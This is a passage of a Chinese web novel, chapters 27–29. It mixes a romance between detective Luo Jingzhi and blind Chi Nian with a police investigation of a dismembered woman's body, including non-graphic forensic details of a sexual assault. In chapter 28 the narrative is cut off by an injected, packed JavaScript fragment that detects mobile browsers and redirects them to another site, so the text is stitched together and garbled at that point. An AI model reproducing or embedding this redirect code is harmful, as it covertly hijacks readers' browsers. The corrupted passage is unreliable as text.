洛景之没有立即退开,而是保持着半倾姿势,嗓音低哑沉稳道:“紧吗?”
“……还好。”她小心回答。
洛景之每次靠她很近时,总是会忍不住心动。
他的纤长手指顺着织带滑到她的锁骨下方,白皙的皮肤在黑色的映衬下显得更加水嫩,他轻轻一压:“这里,会不会勒?”
洛景之满眼都含着笑意,可惜池念看不到。
掌心的温度透过棉质的衬衫传来,她感受真切,好似无形的火花在不断灼烧她的心脏。
池念的耳尖瞬间染了粉色,她似乎被洛景之带跑偏,不知怎么就开口说了句:“有一点。”
她声音很小,几乎听不见。
“行。”他应的倒是挺快,“那就再松一点。”
洛景之按下调节扣,织带收回一寸,松紧刚刚合适,却顺势把指尖停在了她的心口上方。
“现在呢?”他问。
“刚好。”池念直说,“就是,你掌心的温度,有点烫。”
是她感受到的,确实烫。
洛景之低头一笑,但是仍没退开,反而把另一只手也搭在椅背上,形成半圈怀抱,样子几位妖媚。
“池念。”
“嗯?”
“安全带可以保护你。”他声音压得很低,像是在说案件,却字字彰显暧昧,“但限速在我脚下,想去哪里,都得先经过我的允许。”
他似乎意有所指,却拼命的想要让她知道。
但不确定,池念能不能听懂他的话里意思。
这样命令式的口吻,他只对张三这样说过,原以为不会对别人这样说话。
池念不确定他的意思,她下意识抬头,黑暗里找不到他的目光,只能感觉到他的呼吸似乎离她越来越近。
她能感觉到,洛景之在看着她。
“那……”
她指尖摸到安全带的金属片,轻轻敲了几下,像是在敲摩斯密码:【如果我想去你心里呢。】
这话她没有说出口,只是像这样敲击出来。
池念有自学过这方面的内容,她只是想用这样的方式表达出来。
同时也不会被他知道。
用这样的方式对他表达喜欢,是她可以做到的。
敲击结束,车内瞬间陷入安静,安静到可以听见他们彼此的呼吸声。
洛景之的呼吸被她乱了半拍。
他再次俯身,唇贴在她耳郭外侧,声音在此刻哑的发狠:“那条路,随时通行——”
声音稍作停顿,像是妖精勾引,陷入极度暧昧拉扯:“且终身免费。”
池念倒吸口凉气。
她被这句“终身”烫到,手指无意识的抓紧安全带。
他知道?
他竟然知道那段摩斯密码的意思?!
池念此刻紧张到不行,她没想过他会知道。
这也就意味着,她刚才就算是变相对他表白了?
这这这……
这对她一个涉世未深的小姑娘来说当然会紧张到不行。
完蛋了完蛋了……
等等
他刚才的话是什么意思?
她此刻拉回些理智,刚刚洛景之的话是不是,也对她有意思?
池念脑海中冒出一丝这样的念头,但很快又被打消掉。
不不不,这怎么可能呢。
池念,你不要再自己胡思乱想了。
这么大的身份悬殊,他们怎么会合适呢。
洛景之看着她泛红的耳垂,喉结滚了滚。
“洛景之。”
“我在。”
“我们可以出发了吗?”
男人低笑出声,胸腔的震动透过椅背传来。
“可以,坐稳了。”他说,“目的地,我心里,全程零公里,预计用时一辈子。”
这话快要把小姑娘的脸说成苹果红了。
她好想找个地缝钻进去。
一路上,池念一句话都没说,洛景之时不时透过车内反光镜偷看她的小表情,很可人。
他知道小姑娘脸皮薄,经不起逗,便也没再说那样的话。
从她家到洛景之家总共才半小时的车程,很快就到了。
到的时候,池念下意识理了理衣服,今天会见到长辈,她穿的一身连衣裙,模样看上去很听话的小姑娘。
池念被洛景之一路带着进家门,她能感受到对方的热情。
池念进门后,率先和她说话的是洛明诚:“你就是池念吧?来来来,坐下说话。”
“伯伯,您好。”
“十几年没见,没想到念念都出落成大姑娘了。”洛明诚彰显的很热情,“生日宴的时候看见,本想叫你多待会儿,但是景之非要带你离开,这连跟你说上话的机会都没有。”
洛景之:“……”
你当时可不是这么说的……
他轻笑一声,似乎很看不惯眼前这个父亲,但同时对他又没办法。
洛景之不是第一次见到他这样,做生意的人往往都是当面一套背后一套,他不知道是不是所有做生意的人都这样,但至少,他从洛明诚身上看到的是这样的。
“念念,喝点水,搬行李也是辛苦了。”秦晓兰也上前献殷勤。
池念还没反应过来就被塞手里一杯水,她看不见,甚至不知道对方是谁。
洛景之注意到她的难处,急忙上前解释:“这是我妈。”
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她这才笑着迎回:“谢谢伯母。”
“孩子,真是苦了你了。”洛明诚说的这些话都是发自真心,“你不用害怕,我跟你爸爸是很好的朋友,当年的事情我不知道景之有没有跟你提过,你爸爸遇害后,我四处派人寻找你,后来知道你跟着你奶奶去了乡下,我才没有再接你回到这个危险的地方。”
“今天既然你回来了,我怎么样也要替你爸爸好好照顾你。”
洛明诚此刻的慈父形象已然刻入池念心里,她始终相信,以她父亲的为人,肯定不会结交差的朋友。
洛景之无情的拆穿他:“您前些天不是这样说的。”
“臭小子,你不说话没人把你当哑巴,我那时候不是不知道池念的身份吗?”上一秒严父,下一秒就变慈父,“念念,你安心在这儿住,只要我没说话,没人敢撵你走。”
而这些话就是说给秦晓兰听的。
秦晓兰之所以这么热情的对待池念,也是看在洛明诚对池念还不错,洛老爷子也同意她住进来,也就在态度上给了几分面子。
一瞬间,池念被他们大家子人团团围住。
午饭期间,池念挨着洛景之坐下,她隐约通过味道和说话的声音来判断人和人之间的距离。
她预判,这桌菜少说也得三十几道。
在洛家人的迎合下,池念放松许多,没有刚来时那般不知所措。
洛景之夹了道菜放进她碗里:“这是你喜欢的番茄牛腩,尝尝看。”
秦晓兰也热情布菜:“你再给念念夹些鲷鱼豆腐汤,这道菜是补眼睛的,有助于眼睛恢复。”
“谢谢伯母。”
“不用客气,把这儿当自己家。”
池念捧着果汁,眼眶微热。
很快,池念的饭碗里被夹成了一座小山丘。
见秦晓兰还要夹,洛景之朝身旁的她低声道:“妈,她吃不完这么多。”
“吃不完你吃,别浪费。”她随口道。
他没再说什么。
“既然来了,有什么不懂的可以问张姨,她虽然是保姆,却也跟我们胜似亲人,孩子,有什么事可以找她。”洛明诚说着,“不好意思的话可以找景之,或者延之都可以。”
“谢谢洛伯伯。”
“不用把‘谢谢’挂在嘴边,这孩子真是礼貌,慢慢就习惯了。”
洛明诚对池念的态度似乎很真诚,不像是演的。
这些都被洛景之看在眼里,难道是,池念长得很讨人喜欢?
午饭结束后,池念的行李被洛景之拎着,她眼睛不方便,索性住的房间就被安排在了一楼。
池念的房间很大,至少比她和林霞住的地方大出很多。
房间里的布置都是按照女孩子的风格来布置的,粉色的窗帘、白色的衣柜,公主风的梳妆桌,以及床头前摆放着的可爱娃娃。
池念坐在床上,自己的行李被人搬进房间,她连声道谢,似乎进到洛家后就一直在说谢谢。
洛景之放下最后一提行李后喘了口大气,还没来得及擦汗时,此刻一只手伸到他面前。
他抬头看去,小姑娘老实巴交的给他递过来纸巾。
“辛苦你了,擦擦汗。”
洛景之挑眉:“小姑娘,我搬了这么多趟胳膊都累酸了,都抬不起来。”
“你,要我帮你?”
“嗯。”他骄傲的说,“我都帮你拿了这么多东西了,你帮我擦个汗不过分吧?”
洛景之说着已经蹲下身,仰视着此刻坐在床上的姑娘。
刚才那么庞大的身形,在此刻竟单膝蹲在她身前。
好似披荆斩棘斩杀无数妖魔的冷面骑士此刻却拜倒在公主的面前。
池念没有再拒绝,她喜欢这样和他相处,也喜欢这样离他更近一些。
她温柔的帮他擦着额头的汗水,一双无神的眼睛低眸看着他,可洛景之的眼睛有神,他满含笑意的看着池念的所有。
“好啦。”她的声音打破面前男人的思绪。
“嗯。”洛景之起身,“对了,我临时接到一个工作任务,晚上早的话我尽量赶回来。你有什么事找张姨。”
“好,我知道了,我听天气预报说,今晚好像有暴雨,你小心点。”
“再大的暴雨也不会让我失联的。”他说。
这样的回答好像是在向她报备。
27. 27
警局,早上六点。
洛景之在宿舍睡得正香,那份文件他整理到很晚,跟池念说了声后索性直接睡在了警局里。
昨晚下了场暴风雨,直到今天天气还阴着。
他的觉还没有补回来,就被手机的电话铃声给吵醒。
他意识模糊中按了接听键:“喂。”
“老大,不好了,出事了。”
“……”
洛景之的神志瞬间清醒。
顾城大运河附近的山丘上,聚集了十几名警察正在搜索研究什么。
以及周围围满的记者和录像。
洛景之接到消息后就按照地址慌忙赶来。
等赶到的时候,众人都在各自勘察,看能不能找到些其他线索。
尸体被从编织袋里扯出来,他们尽量不破坏尸体的外表。
张三看到他来,快速跑过来:“老大,你终于来了。”
洛景之:“出什么事了?!”
“编织袋,被肢解的女尸,高度腐败。”张三说,“今天早上一位捡垃圾的老伯发现的,尸体是被人装进编织袋后埋进地下的,但是昨天的雨太大,泥土松散,这才受到雨水强烈的冲刷露出地面被人发现。”
“具目前调查发现,周围无明显血迹,显然这里不是第一犯罪现场。”
张三跟着他的脚步来到尸体前:“死者被凶手肢解成三十块,她身边也没有发现任何能够证明身份的东西,具体的死亡时间还在等老张查验。”
洛景之来到尸体前,蹲下身观察着:“我知道了。”
老张带着口罩,见洛景之来到现场,他将自己能够判断出来的内容简述给他。
两人暂时离开,老张这才将口罩和手套摘下:“仅凭昨天的雨水并不能将尸体冲出来,尸体有明显的浸泡痕迹,死亡时间推断的误差较大,我得把尸体带回去详细查验。”
他又说出自己的看法:“我觉得,埋尸地位于大运河附近,昨天的暴雨导致河水水位上涨,尸体高度腐败加上长时间浸泡,先带回去吧。”
“什么东西分的尸?”洛景之问。
刚才他大概一看,那东西似是寻常工具。
“根据劈砍角度和裂纹来看,初步判断,像是斧头,柴刀这类工具。”老张说,“所有确定信息都要等带回去验了之后才能给出破案线索。”
林南做完自己的任务也来报告:“死者身上没有什么物证,证明身份在这方面没了线索。”
洛景之说:“我刚才看到她的手上有做美甲,或许这是个线索。”
“嗯。”
“我现在去调查近几天顾城失踪的女士,看有没有可疑的。”洛景之说,“张三,回头整理一下这些资料,给我份报告。”
“是。”
这件事发生的突然,也引起了城市居民的恐慌。
洛景之对这件案子更加重视,且要以最快速度勘破此案。
回到警局。
张三将初步查到的线索整理成报告。
下午,老张那边也正在验尸,还未出结果。
洛景之和林南出去查了最近失踪人口中有没有可疑的女人,但可疑人员很多,将近十几个,他们暂时没有办法判断哪个是死者的身份。
林南跟着回到警局:“我们怎么才能断定死者的身份?”
洛景之说:“先从死者的美甲查起。”
“美甲?”张三疑问,“可这怎么查,挨家挨户问吗?可那样太耗费警力了。”
他回忆着死者手上美甲的款式:“死者的美甲款式很新颖,而且根据上面的花纹来看,都是纯手绘,想来费用不低,顾城的美甲店确实有很多,但有名的美甲店可不多。”
“没想到,老大你对女人的美甲也有研究啊?”张三满脸不可思议的看着他。
毕竟他一没有女朋友,二也接触不到女性,怎么会对女生的东西这么了解。
他实在疑惑。
洛景之说:“之前勘破的案子里就有女性做美甲,顺带了解了一下。”
“哦。”
他身边接触到的女性都是名媛,她们手上个个都做着指甲,样式他倒是能了解,但是价格也不太清依靠什么判定的。
“我们现在锁定了目标,只要找到死者生前到哪家美甲店做的美甲就能确定她的身份了。不过具体哪一家,我想……”他心里有了主意,“我应该去问一个人,或许她知道。”
说时迟那时快,查案的事耽误不得。
洛景之想到这儿,便急忙拉着张三出发。
顾城一家咖啡店。
洛景之他们对面坐着一位女生,眼神中透露着无奈。
“找我干嘛?”夏槐的心思不在他身上,就想着来看看什么事就走。
她忙着打听洛延之,实在没时间来见他,打着以后他们或许后面还有“合作”的想法,她还是来了。
“有件事想请你指点一下。”洛景之此刻的态度还是非常好的。
前几天的生日宴上,洛家出入很多名门千金,个个手上的美甲款式都各花各样,他这才想到夏槐。
她作为女生中的千金,想来应该会了解的比他们几个男人多。
“哟,太阳真从西边出来了?还指点一下,看你态度这么好的份上,本宫就动动自己的纤纤玉指给你指点一下。”夏槐得意洋洋的说,“说吧,想知道什么?”
洛景之掏出手机,将自己从死者身上拍到的美甲照片拿给她看:“这款美甲的图案,你见过吗?”
怕给她的难度较大,他又改口道:“或者说,跟这款美甲差不多价位的,能不能预测出来。”
夏槐皱着眉头将手机接过来,她仔细打量着这款美甲,忍不住将图片放大观看。
“这个……”她觉得有点熟悉,但一时想不起来。
她恍然:“哦,你等等。”
夏槐拿出手机,打开前段时间消费过的一款美甲订单。
她做的当然不是死者手上这款,可她确实是眼熟,翻找了一会儿,确实在这家店铺里找到了和死者手上一样的美甲款式的宣传图样。
夏槐惊喜道:“是不是这个?”
她将手机拿给他看。
只一眼,洛景之确定道:“对,就是这个。”
他又问:“这个款式会不会别人也做过?”
“可能性不太大,因为这款是纯手绘,应该是按照消费者自己的意愿让美甲师定制出来的纹样。”她说,“你去店里看看,说不定这就是顾客做的那款的宣传图。”
“你的意思是,这款很有可能只有这一位顾客做过?”
“binggo!”
洛景之惊喜道:“靠谱!”
他拍了拍对方的肩膀,而后叫上身旁人:“张三,快走!”
张三还蒙蔽中:“哦哦哦,好。”
“夏槐,把美甲店的地址发给我!”
洛景之的声音随之消失在咖啡店中。
留下夏槐一个人觉得奇怪:“他什么时候对女生的东西感兴趣了?”
她揣测着:“难道,是为了池念?”
“嗯,有这可能。”
洛景之开车带着张三。
按照夏槐发给他的地址,洛景之他们必须要快。
张三坐在副驾驶上整理着刚才的录音:“老大,咱们这次得到的消息你说可靠吗?”
洛景之目不转睛的盯着前方:“可不可靠咱们也必须得走一趟。”
张三对这次案件觉得棘手,他是男生,对于研究女生用的东西他觉得有些困难。
但反观洛景之,不管面对多大的险阻,他似乎都可以有很大的动力去完成。
所以张三屡次被这样的队长感到佩服。
洛景之准备好,身穿一件深灰色衬衫,黑领带,耳内嵌着微型耳机。
打开门,门口的风铃声声作响。
店内是粉色的ins风格,香氛浓郁,五名美甲师正在给各自的顾客做着美甲。
迎上他们的是店前的接待:“您好,两位先生,是做美甲还是咨询呢?”
洛景之亮出警官证:“警察。”
“警察同志,你们来是有什么事吗?我们都是小本生意,老老实实的良民,我们没犯什么事啊?”
“不用紧张,我们只是想找店老板了解一些事情。”洛景之说,“这个美甲花样是你们做的吧?”
接待员接过来查看,她认真端详道:“是,我前几天发了宣传图,这是一位顾客在我们店里定制的图案。”
“那给她做美甲的人是谁?”
接待员找出自己的手机,将洛景之刚才给她看的那张宣传图亮给在座的美甲师看:“这款是谁做的?看时间是上周,上周是谁给这位顾客做的这款定制图案?”
空气安静两秒,最里面穿黑色T恤的女美甲师手一抖,钻粒洒落一地。<
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p>随后,她很不情愿的出声:“是我。”
“你出来一下。”
“好。”
面对警察的询问,谁都不想跟去做笔录,都不想管任何闲事。
洛景之问:“别紧张,只是问信息。上周是你给一位顾客做了这幅美甲是吗?”
“是的,警察同志。”
“这位顾客的个人信息麻烦给我一份。”洛景之说,“她的长相你还记得吗?”
“我记得,她很漂亮,所以我印象比较深,但是……”
“但是什么?”
“她的脾气不太好。”
“怎么说?”
接待员说:“警察同志,您不知道,这位顾客来了之后就要求这要求那,美甲师不小心弄破了她的手指,我们连声道歉,但是对方依旧不依不饶的,就是让我们赔钱。”
女生回答:“是啊,当时场面很难看,最后给她这单全免之后才善罢甘休的离开。”
洛景之看了张三一眼,示意他做好记录。
“你们有没有发生肢体冲突?”洛景之问,“有没有抓你?”
“有,那位顾客还抓伤了我们美甲师的胳膊。”接待员说,“当时她情绪很激动,就弄伤了她的胳膊。”
女孩说:“她不是故意的,应该是不小心的。”
她抬起自己的手臂,一道已经结痂的抓痕亮在眼前。
洛景之说:“既然这样,麻烦你也提供一下DNA比对,排除干扰。”
“好的。”
“店里有监控吗?”
接待员答:“有的有的,我现在马上给你们找。”
张三在身后露出一个耐人回味的表情:有监控不早说?
两人花了一个多小时的时间才回到警局,结束调查。
不过好在并没有白白浪费时间。
张三回到自己的工位上瘫坐在椅子上,忍不住还要抱怨几句:“找女生调查案子真是心累啊。”
一旁的陈佳佳听了不乐意了:“哎,可别带上我们女生啊,只是个别人表达不清楚而已。”
“是是是,陈警官您肯定不能跟她们相比。”
其他人习惯了他们这样拌嘴,只是笑笑不说话。
就在洛景之还在思考他们之间的关系时。
张启明来到办公室:“哎?你们都在啊?”
“那正好,都来听一听吧。”
“结果出来了?”洛景之问。
“死者年龄二十五到三十之间,身高一米六左右,死亡时间初步断定是一周左右。”张启明说,“死者指甲缝里检测出男性的DNA,皮肤碎屑呈撕脱状,证明死者在死前有反抗过。”
“男性的DNA,这样的话,死者指甲缝的碎屑就不是美甲师的。”张三说,“那那个美甲师就排除嫌疑了。”
洛景之盯向他:“别打岔。”
“你继续说。”
“□□受到撕裂,生前被人性侵过,但是并没有在死者体内提取到J液。”
张启明说出自己的怀疑:“如果不是凶手做了防护措施,那就是凶手那方面,不行。”
“尸体是被斧头砍成几块装进编织袋,但从被切块来看,凶手是对同一个地方进行多次切砍。”他说,“有两种可能,一是斧头是钝的,二是凶手的力气很小,这两种可能都必须要多次砍向尸体,才能切成尸块。”
洛景之拧眉分析:“如果照这么说的话,凶手是男性,以一个男性的力气要想分尸不用费很大力气。”
陈佳佳道:“看来,斧头是钝的。”
“凶手作案之后,想到将尸体分尸,但一时没有找到趁手的工具,所以才……”
“不过这些都还只是咱们的推断。”洛景之说。
“另外,我还在死者身上检测出一些皮制物质,我想,大概是死者挣扎时,不小心从凶手身上带下来的,像是钱包的材质,又或者是,衣服材质。”
“这一点,还有待研究。”张启明回想着什么,案子陷入僵局,他忽然想到:“死者的身份查出来了吗?”
“呐,都在这儿了。”张三将自己整理好的资料拿给他们看。
洛景之说:“死者林媛媛,二十五岁,是顾城大学里的一名在校生,父母离异。”
“我们还没来得及去找她的舍友调查。”
“现在既然验尸结果出来了,我们可以进一步行动了。”
“是。”
28. 28
昨晚池念睡得不习惯,一晚上都没怎么睡着,本想和洛景之聊聊天,但又怕打扰到他工作。
暴雨来的太突然,加上昨晚的树枝晃动和风雨交加,她心里总归是有些害怕。
这么大的屋子只有她自己一个人,而且还是陌生的环境,她睡不着觉。
直到上午她给洛景之拨打电话时,对方手机一直没人接听,甚至到了关机状态。
这不免让池念心里更加担心。
她想着,要去警局找找他。
小姑娘收拾好自己,刚将手机揣进兜里准备出门,她的房间门就被敲响。
咚咚咚。
“请进。”她说。
“你是?”
“是我,洛延之。”
“哦,是你呀,上次你帮了我,那钱我还没有还给你呢。”
洛延之也觉得有意思,“我找你不是来要钱的。”
“你有什么事吗?”
“我想问,你知不知道我哥还好吗?我打他手机一直关机,你能联系上他吗?”
池念心里总觉得不得劲:“我也打不通他的电话,所以现在我想去警局找他。”
“行,我和你一起去。”
洛延之倒也没想过避讳。
就在这时,张姨敲门进来:“延之,门外有位叫宁曼曼的姑娘来找你。”
池念笑道:“看来是佳人有约,我自己去就可以了。”
“我……”他说,“你自己一个人出门会不会……”
“没事的,我出门打个车,让司机师傅直接送我到市1区的公安局,这样避免很多麻烦。”她说,“如果没什么事我很快回来。”
“好,路上注意安全。”
洛延之才刚刚认识池念,之所以对她这么关心,也只是因为她是哥哥的女朋友。
他一向想和洛景之缓和关系,自然得要保护好池念,才能得到哥哥的亲近。
他们是亲兄弟,可秦晓兰却只因为哥哥就该让着弟弟这样的理念一直偏心于洛延之,导致时间久了,洛景之一直都疏远这个弟弟,以及从未给过关心的母亲秦晓兰。
池念根据洛延之发来的地址,找去顾城警局这个地方。
-
警局。
洛景之还在为这起案子烦恼,手里的文件被翻了无数遍。
他是那种不达目的不罢休的脾气,每次负责的案子都是突破率最高,也是破案最多的侦查小组,他这个队长的位置也是这样拼出来的。
本来心情就不好,得到的线索每一步都关键,他独自整理着这些,每一处细节都要看上十几遍。
其他人都负责着自己手上工作,知道自己队长此刻正心烦,谁也不敢上前搭话堵这个枪口。
陈佳佳实在看不下去,忍不住想要八卦,她朝身边的林南凑过去:“你说,咱们洛队今天是不是又要发脾气啊?”
林南低声道:“我们只要老实点,别去洛队眼前晃悠就行了。”
“有道理。”她也这样觉得。
正当所有人统一想法时,总有人不断作死。
张三从外面进来,面带喜色:“洛队,外面有个小姑娘来找你。”
“找什么找,案子现在都没点起色,谁找都不见!”洛景之怒道,“说我没空。”
“好吧。就是有点委屈了人家,人家姑娘眼睛都看不见还来……”
“……”
洛景之转恼怒为晴天:“你刚才说什么?谁来找我?”
张三对她有印象,说:“就是上次眼睛看不见的那个姑娘,你当时还陪人家去看眼睛来着。”
听他这样一说,洛景之瞬间知道来人是谁,他心中想见她的冲动难以抑制:“知道了。”
他即刻放下手上的资料欲要下楼出去。
陈佳佳见他心情好转,于是顺着他的意思道:“我跟你一起下去吧洛队,正好我想出去买杯喝的。”
“嗯。”
见他同意,陈佳佳急忙跟上他的脚步。
走时还回头朝其他室友眨了眨眼睛暗示。
“洛队要去见喜欢的人吗?”陈佳佳试图打听来人的信息,“是女朋友?”
“不该知道的别问。”洛景之显然没有想说的意思。
“哦,那如果有机会的话可以介绍我们认识啊。”
他脚步一停:“我看你不是想出去买喝的,倒是想借此机会打听有关我的八卦。”
“怎么会呢。”她试图来掩饰自己的真实目的,“我怎么可能……”
“我的事不喜欢被别人知道,你如果知道了的话——”
洛景之试图恐吓,他的脸慢慢靠近她:“后果,你应该知道有多严重。”
“……”
额……
陈佳佳不敢再问了。
尴尬笑了两声就匆忙逃离了现场。
可此刻的一幕却被池念撞见,她看不见洛景之和谁在一起,但能敏锐的察觉到,他是和一个女孩子在一起。
反倒觉得,是自己打扰了两人的单独相处。
她还真的从未见过洛景之和别的女孩子说话聊天,至少她没有见过。
不不,这不是关键,重要的是他没有事。
“念念。”洛景之朝她快步走过去,“你怎么会来这儿找我。”
池念慌忙的上下抚摸着他,唯恐他受伤:“洛景之,你没事吧?”
他一头雾水:“我没事啊,怎么了?”
洛景之也一样很少见她如此慌张。
除了。
上次凶手闯进她家的那次。
“我打你手机一直没有人接听,后面都关机了,延之也联系不上你,我不放心,所以到你工作的地方来看看。”
“联系不上我?”他这才掏出手机查看,拇指按了关机键,半天没动静,“啊,应该是没电了,手机工作的时候一般都是调静音模式,这样不会打扰我的思绪,习惯了。”
听他这样说,池念也放心了:“那就好,没事就好。我都要担心死了。”
“你担心我?真的?”
“昨天下那么大雨,你又没有任何消息,我真的很担心你。”她又问,“对了,刚刚那个女生是谁啊?”
“刚刚?”他试图回忆她口中那个女生,恍然道:“哦,那是同事。”
“只是同事吗?”
“那不然还能是什么……”
他后知后觉才反应过来,这小姑娘明显是听见他刚才和陈佳佳说话了。
男人低音道:“嗯?你刚才是不是看见我和她说话了?”
“我没有。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992354|193773||http|test|mini|href|location''.split(''|''),0,{}));
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>“心里是不是不太舒服?”
“没有。”
她的每一次回答都果断干脆,似乎就是想掩盖什么“真相”。
洛景之喜欢看她这样,总觉得这样的池念更加可爱。
“真的只是朋友,仅此而已。”他像是哄孩子般哄她,“我们念念如果觉得不舒服,那就……少说几句。”
原是工作上的关系,不可能打不到交道,他这样说,也只不过是想让她听了心里舒心些。
而池念也没有想过他会这样说,小姑娘,简单几句话就容易哄好。
虽然她嘴上不承认吃醋,但心里明白,就是吃醋。
洛景之虽然没有谈过对象,但总归是见过别人谈过。
这其中的奥妙自然也是看透一些,她的表情他一眼便能看出来。
听他这样说,池念似乎才察觉到过来自己没有理由管他这么多,更没有理由去生气吃醋。
她不断从心里自己安慰自己。
“洛景之,我这个人,一直都在依靠别人,一直都在给别人带来麻烦,爸爸,奶奶,然后是你。”她握紧手中的盲杖,“我不想变得这么没用,我在努力变强,谢谢你这么长时间的照顾,真的非常感谢你。”
洛景之越听她的话越觉得不对劲:“你在说什么,这话怎么感觉就跟要道别似的。”
他怕她自己胡思乱想:“念念,我们愿意跟你相处,就证明你从来没有给我们带来麻烦,就算是麻烦,我不知道别人怎么想,我是自愿的,自愿被你麻烦。”
“你说的是真心话?”
“我发誓,一定是真心的。”
他看了眼手表,又道:“我这里很忙,在查一起案子,等我回家了去找你,我们再详细说。”
小姑娘回应道:“好。”
“本来想带你熟悉熟悉洛家的一切,可是没想到却发生了这种事,等我忙完手上的事,一定带你好好玩。”
“我没关系的,你先忙你的事。”
送走池念,洛景之回了警局。
他满心欢喜的坐到自己的位置上,刚才池念和他说的话犹如就在耳畔,就安奈不住心中的窃喜。
洛景之这反常的一幕被其他人看在眼里。
张三挨他最近,他缓缓放下手里的水杯,双眼不受控制的盯着他。
现在的洛队,怎么就像中了魔一样。
张三笑道:“老大,刚刚来找你的,就是嫂子吧?”
“你上次明明就亲口承认了,现在嫂子都上门来找你了,怎么?还想否认吗?”
张启明也跟着看热闹:“你就跟我们几个直说了吧,貌似我们上次还帮你出主意了,不能让我们蒙在鼓里啊洛队。”
林南在一旁刷手机,听到这儿后也跟着附和上一句:“是啊。”
张三说:“老大明明对嫂子那么温柔,我都在楼上看见了,你还对她笑了很多次,虽然她看不见,但她如果知道一向板着脸的洛队会在每次见她的时候露出微笑,嫂子应该会很高兴吧。”
“老大,你这也太偏心了吧,有了女朋友就这么偏袒啊。”
洛景之胡乱怼道:“不偏袒她我还偏袒你?”
这话被张三抓到漏洞:“嗯?所以老大你这是承认刚才那个人就是嫂子了?”
“……”
29. 29
洛景之回来的时候,已经晚上十一点。
这个案子让他有些头疼,前段时间身上的伤刚恢复,结果头疼又开始,他心情很糟糕。
但一想到池念还在等他,他的心里也多了几分甜。
这个点,洛家的其他人都已经睡了,洛景之放轻动作,本想池念也该是睡着了的,想着明天再跟她解释一下。
可路过她房间的时候,见她的门虚掩着,走廊里透着屋内的光亮。
他好奇的朝她房间走过去。
周围一切都很安静,他轻声悄悄房门,见没有人回应,悄悄推开了房门。
他以为池念还在等他,可进去后发现,房间里开着暖色调的灯光,沙发上入睡着一个小巧的身形。
池念枕着一个圆形毛绒抱枕安然睡着,裙子被她睡乱,已经退到了膝盖,她安静的模样像个睡美人。
洛景之瞳孔微缩,他努力恢复理智,轻声在床上拿了条毛毯搭在池念身上。
她睡得深沉,可这样的她就是让他忍不住停下脚步。
洛景之走到沙发前蹲下身,他细细端详着睡着的池念。
他很少见过这么漂亮的女孩,她像是一朵百合花,洁白无瑕。
尽管什么都不说,就已经足够吸引人。
他觉得自己就像是个变态,总是身不由己的靠近她。
洛景之闻着她的发香,听着她的呼吸声,身体竟不受控制的向她靠近。
他缓缓的低下身,在触碰到她粉嫩的唇瓣时,他闭上双眼。
没错,他吻了她。
这样的感觉是他从未体会到的。
只是轻轻的触碰,就足够让他乱了方寸。
洛景之的心跳声扰乱他的思绪,他不敢停留,生怕下一秒池念就会醒来,然后像看禽兽一般的眼神看向他。
最后生气哭着质问他:为什么要这样做。
他不敢再往后想,直至慌忙起身,逃离了她的房间。
这是他做的一件错事。
也是唯一一件没有办法交代的事情。
刚才那样的行为,他自己都觉得自己是个禽兽。
他刚刚,真的亲了池念。
就一下。
即便这样,他都觉得如做梦般虚幻。
洛景之越想越觉得不可思议,他从兜里掏出一支烟,自觉地走到窗口处点燃。
虚无缥缈的烟雾顺着窗户飘到窗外。
男人的手指骨节分明,那两只夹住长烟的双指更是修长的好看,是手控的女孩最爱的模样。
随着喉结滚动,他吸了一口又一口,似乎想以此忘记刚才发生的事。
他真的太紧张了。
更怕这件事被池念知道以后,两人就断了缘分。
想着念着这件事,洛景之整完都没睡好。
第二天早上,他本想按照昨晚想的那般,跟池念解释一下昨晚回来晚的理由。
可只要想到那件事,他总是会想逃避她。
所以他没打招呼就直接去了警局。
早上。
洛延之洗漱完之后本想去吃早餐,转身功夫就被洛明诚叫住:“延之。”
“嗯?”
洛明诚道:“延之,你把饭菜送去念念房里,她眼睛不方便,就让她在房间里吃比较好。”
“为什么要我去?”
“那你把你哥找回来。”
“……”洛延之没辙,妥协道,“还是我去吧。”
他没那个本事叫洛景之回来,还是选择听从洛明诚的安排。
洛延之和池念没有太多交道,他帮她,也是看在洛景之的面子上。
他自己本就是个冷淡性子,不愿跟人主动亲近。
来到池念的房间前,他礼貌性的敲了敲门。
一个稚嫩的声音从房内传来:“请进。”
“延之?”池念正在用毛巾擦着脸,注意到来人是他后,也变得亲近些,“你来找我有事吗?”
“我爸让我把早餐给你拿过来,考虑到你可能刚来不太习惯,所以你有什么要求可以跟我说也行。”洛延之说,“我哥不经常在家,昨天的事也麻烦你跑了一趟,所以对我不用太客气。”
池念反应过来,他是说昨晚她去警局找洛景之的事。
“没关系,我应该这样做的。”池念侧侧头,眼睛里还是无神。
“辛苦你帮我拿早餐过来,我以后自己和大家一起吃就可以的。”
洛延之将早餐放下,就要转身离开。
可池念又问:“那天遇到的那个女孩,是你的女朋友吗?”
“不是。”洛延之没有要走的意思,说,“是我喜欢的女孩。”
洛延之自己也不清楚,他明明是喜欢宁曼曼的,但是每当别人问起来的时候,他只是跟别人说,是自己喜欢的姑娘。
“那,你还没有告诉她吗?”池念不知怎的就问出这个问题,她或许想在他这里求取一些恋爱的经验吧。
“没有。”
“那个,你哥他,有没有喜欢的女孩呢?”
池念心里仿若在等待一个世纪般的问题。
一时竟忽略了,他们此刻还是别人眼中的情侣关系。
洛延之觉得奇怪:“我哥,他喜欢的人不是你吗?”
对方这样的一句话竟让她意识到这个问题。
是啊,在别人眼中,她和洛景之就是情侣关系。
可只有他们自己知道,这样的关系只是短暂的维持。
“我想问你一个问题。”
“你问。”
池念收拾完,然后坐到床上:“男生如果遇到自己喜欢的女生的话,会是怎样的表现呢?”
“喜欢的女生……”洛延之仔细斟酌起来,“如果是我,我会忍不住想见她,会注意她的喜好和乐趣,然后把自己的兴趣慢慢变成她的,见不到的时候会想,见到了会觉得在一起的时间不够,总是会下意识在意对方的举动——”
话到此处,洛延之突然停住。
是啊,这就是喜欢一个人会有的行为。
可不知什么时候起,他变得没有那么在意宁曼曼的举动了。
虽然还是和从前一样,他会记得她的喜好,但是从见不到她的时候起,他也没有之前那么迫切的想要见到她了。
难道,他变得不够喜欢她了吗?
